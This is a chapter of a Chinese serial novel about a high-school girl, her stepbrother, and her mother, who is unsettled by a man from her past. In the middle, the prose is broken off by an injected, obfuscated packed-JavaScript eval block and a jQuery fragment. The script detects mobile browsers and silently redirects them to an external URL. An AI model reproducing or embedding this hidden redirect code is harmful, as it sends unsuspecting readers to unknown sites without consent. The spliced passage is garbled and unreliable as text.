三点一到,高二学生准时按班级顺序排好队去报告厅听讲座,把教室让给家长会。
来做讲座的是江明的教育专家,这位老先生明歌以前见过,在江明读书的时候学校就总举办他的讲座,明歌还被点到过发言。
讲座内容和之前听的大差不差,明歌昏昏欲睡,发消息给程嘉临:
【这讲座你以前也听过吗?】
程嘉临几乎是秒回:【高考动员?迎接高三?听过。】
程嘉临:【是不是特别无聊。】
程嘉临:[小猫晕倒.gif]
明歌四下张望一番,她的座位在靠后的地方,报告厅后门开着,她当机立断,猫着腰往出口钻。
边钻边打字:【我翘了后半节。】
程嘉临的对话框安静了一会,然后他说,他在上活动课,问明歌要不要去找他。
闲着也是闲着,明歌回复一个点头的表情。
明歌在篮球场旁边的看台上找到了程嘉临。
操场上人不多,明歌一掸眼,连程嘉临班上的几个人都没看到。
明歌问:“你真的是活动课?你像翘课来的。”
程嘉临一脸疑惑:“你一个翘掉讲座的人有什么资格说我?”
“……那不一样。”明歌狡辩,“讲座又不是上课。”
程嘉临就笑,像一只餍足的大猫,懒洋洋地享受下午的阳光。
“我没翘课,你哥我是那种人吗。只是因为快高考了,活动课绝大多数人都在教室自习而已。你认识的那几个,赵奕潇,陈夏,他们拿到offer,现在也不用来学校。”
明歌想了想,确实,赵奕潇之前和她表白,说的就是他之后就不怎么去学校了,能见面的机会很少,希望走之前能把心意告诉她。
明歌想象自己是程嘉临的笔,尺子,什么都行,趴在他课桌的一角。
看到他脊背笔直,眉眼低垂,在座位上专注地学习,前后左右空了一片。
教室里很安静,下课后也不会有人转过身戳他的手臂,嘻嘻哈哈地说那些不着边际的话。
明歌喜欢安静不被打扰的环境,但显然做作业都要听歌的程嘉临是个需要热闹的人。
也难怪每晚都找各种各样的理由打扰一下明歌,前天是借高二的课本,昨天是分夜宵,今天还不知道是什么内容。
明歌心说,好在她比他小一岁,不然她高考完也会立马离开宁城,程嘉临一个人岂不是要无聊死。
程嘉临没和明歌心有灵犀,撑开手掌在明歌眼前乱挥:“怎么啦?还在因为讲座犯困啊?在这里睡你晚上回去就感冒,这下我真的很难有空再陪你去医院了。”
明歌把他的手拍开,说你讲点好的。
程嘉临上一次大屏还不长记性,弯着眼角地往她身边靠。
明歌没推开他,几分钟后听见肩膀上绵长的呼吸,发现这位辛苦学习的高三生睡着了。
十分舒坦的表情,让明歌怀疑这时候挠他下巴,他喉咙里会发出咕噜咕噜的声音。
程嘉临没睡多久,下课铃打响他就醒了,睡懵的样子显得智商不是很高。
他还有最后一节课,刘茜的,不能迟到,揉揉眼睛,眨巴眨巴,在操场上赖了一小会儿就回了教室。
明歌估计了一下时间,慢悠悠晃回去,家长会刚结束,还有些家长等在教室里,想和班主任单独交流。
明诗悦和林霞一起站在门口,明歌不知道是明诗悦主动找的林霞,还是林霞有话要和她说。
明歌将脚步放得更慢,耳边捕捉到“江明”“竞赛”“内向”等等字眼。
那边林霞先看见明歌,对她点点头,和明诗悦说了句什么,然后走进教室,被几个家长围上来。
明歌低低地叫:“妈妈。”
“嗯。回家吧,我车停在外面。”
上车前发生了一个小小的意外,明歌弯腰系鞋带的时候,唇膏从口袋里掉出来,骨碌碌滚远,不见。
明诗悦靠在车边,背着光,明歌看不清她的表情。
明诗悦没催她,她感觉自己像呛了烟尘,胸口紧巴巴地绷着,却咳不出来。
她拉开车门,明歌不再寻找丢失的唇膏,追上去。
碰到车门的前一秒,明歌的肩膀被拍了一下。
一个面色憔悴戴眼镜的中年男人站在她身后,他应该是很高大的,却因为微微驼着背显得很憋屈,明歌看了她一眼,立刻想到,这人过得很不好。
男人僵硬地扯了扯嘴角,眼珠不自然地朝旁边转,直勾勾盯着驾驶座。
他伸手到明歌眼前,一支唇膏静静地躺在他的手心:“小姑娘,这是你丢的吧?”
男人的口音很耳熟,像江明某个县里的,明歌想不起来自己在哪听过,不过宁城有外地人不是什么新鲜事,明歌接过唇膏,淡淡地笑了一下:“是的,谢谢叔叔。”
说完坐进车里,车窗缓缓合上。
男人眼睛眯起,嘴角神经质地一抽,在车窗的缝隙里与明诗悦短暂对视。
而后目送那辆帕拉梅拉扬长而去。
明诗悦坐车不爱开窗,明歌坐在副驾,双手规规矩矩地搭在膝盖上,书包放在后座,觉得有点闷。
明诗悦从后视镜里看了她两眼,说:“热的话可以开窗。”
明歌没动,两人陷入沉默。明歌对这种氛围习以为常,这里没有程明谦,没有程嘉临,明诗悦不需要表演,明歌不需要配合,二者之间隔着十多年光阴,隔着宁城和江明之间的两千多公里,无话可说才是最正常的。
她们两个,明歌做不到坦诚,明诗悦做不到亲密。
其实大多数人都应该是这样的,程嘉临那样性格开朗又特别好骗的才是少数。
明歌丝毫未察觉她的思维又不知不觉往程嘉临身上挂,正沉浸在对程嘉临个性的评价中,明诗悦的声音打断她:“林老师今天跟我说了很多。”
明歌愣了愣:“说什么?”
“提到了上次你们班长的事情。你一直很内向,话少,老师其实很担心你。还有程叔叔、你哥哥,妈妈…
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406749|200551||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
…我也是。”说到“妈妈”这两个字,明诗悦不太明显地磕巴了一下。
明歌说我知道。
明诗悦故作轻松地笑了笑:“还问我你在江明上学的事情,说你这个成绩不打竞赛很可惜,但快高三了,竞赛意义不大。我知道江明教材比宁城要难,你成绩很好,但是也不能懈怠。”
“嗯。高一的时候在竞赛班读过一学期。”
明歌自己也很少提在江明上学的事情,重复的日常和空荡的家,数个单调的画面组成这段记忆,很早之前,它们就变得不够清晰。
可是今天她突然想起一件很小的事情,明诗悦不可能愿意听,但明歌装作无法体察明诗悦的心情,露出常在明诗悦脸上出现的温柔而幸福的神态,轻轻地说:“我不喜欢竞赛班,退出的时候,当时的班主任还找爸爸谈了话。”
苏海一连几天见不到人,因为班主任一个电话,突然牵着一个女人出现在学校里,把明歌吓了一跳。
他后来从办公室出来,不耐烦地冲明歌啧嘴:“你和你们老师都挺事多的。”
明歌面无表情地指他后背,说那个不认识的漂亮姐姐过来找你了,你快走吧。
明诗悦攥紧了方向盘:“是吗?现在说这些都不重要了。”
“你有想考的大学吗?暂时没想好也没关系,你可以去远一点的地方,但最好不要考虑江南那边的几个城市,那些学校不太适合你。”
不适合在哪,明诗悦没往下说。
“程叔叔对你很好,你要对得起他。”
“好。”
“还有嘉临哥哥,他马上就高考了,你也少打扰他。”
“……”
车内再一次沉默下来,一路开进车库。
明歌拉开后门拿书包,明诗悦还没起身。地下车库安静得落针可闻,明诗悦问了个很奇怪的问题:“刚才那个人,还你唇膏的那个,你认识他吗?”
明歌说:“不认识。我先上去了。”
明诗悦不说话也不点头,直到明歌的身影走远消失,才脱力般弓着脊背趴伏在方向盘上。
那个男人,她想起来了,她认识的。
很早以前,她做出那个愚蠢的决定,她为了苏海和母亲闹得不可开交,家里不再给予她经济上的支持,她和苏海住到那栋破烂的出租屋里。
苏海想继续深造,她就先一步上班挣钱,工作是那个叫李和的男人介绍的。
二十三岁的她真是个不折不扣的蠢货,如今她快要四十三岁了,依然蠢得无以复加。
那时候她以为只要相爱就可以,结果她怀孕时苏海出轨,并且由于孕期反应强烈,最后不得不把工作成果拱手让人。
而现在,她以为离开江明就可以开启新生活,可先是明歌,再到李和,过去的阴影缠上来,她似乎又感到分娩时的阵痛,仍旧无法清醒,更无力甩脱。
李和要做什么?她不知道,不敢告诉程明谦,甚至不敢躲。
她在黑暗里缓缓下沉,只来得及发出一声崩溃的、压抑的呜咽。